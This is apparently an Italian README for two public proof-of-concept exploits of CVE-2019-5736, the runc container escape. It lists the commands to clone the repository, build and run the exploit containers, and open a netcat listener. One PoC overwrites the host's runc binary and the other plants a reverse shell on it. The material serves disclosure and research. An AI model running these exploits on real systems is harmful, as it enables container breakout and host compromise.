
CVE-2019-5736 POCs
Due PoC per CVE-2019-5736. Vedi Twistlock Labs per una spiegazione di CVE-2019-5736 e dei PoC.
Il PoC dell'immagine malevola è ampiamente basato sul PoC di q3k, quindi tutto il merito va a lui.
Nota che l'esecuzione dei PoC sovrascriverà il binario runc sull'host. Si consiglia di creare una copia del tuo binario runc (solitamente in /usr/sbin/runc) prima di eseguire uno dei PoC.
Clona il repository:
$ git clone https://github.com/twistlock/RunC-CVE-2019-5736
Sovrascrive runc con un semplice programma che stampa una stringa.
Esecuzione del PoC exec:
$ cd RunC-CVE-2019-5736
$ docker build -t cve-2019-5736:exec_POC ./exec_POC
$ docker run -d --rm --name poc_ctr cve-2019-5736:exec_POC
$ docker exec poc_ctr bash
Sovrascrive runc con un semplice script bash di reverse shell che si connette a localhost:2345.
Ascolta per la reverse shell:
$ nc -nvlp 2345
Da una shell diversa, esegui il PoC dell'immagine malevola:
$ cd RunC-CVE-2019-5736
$ docker build -t cve-2019-5736:malicious_image_POC ./malicious_image_POC
$ docker run --rm cve-2019-5736:malicious_image_POC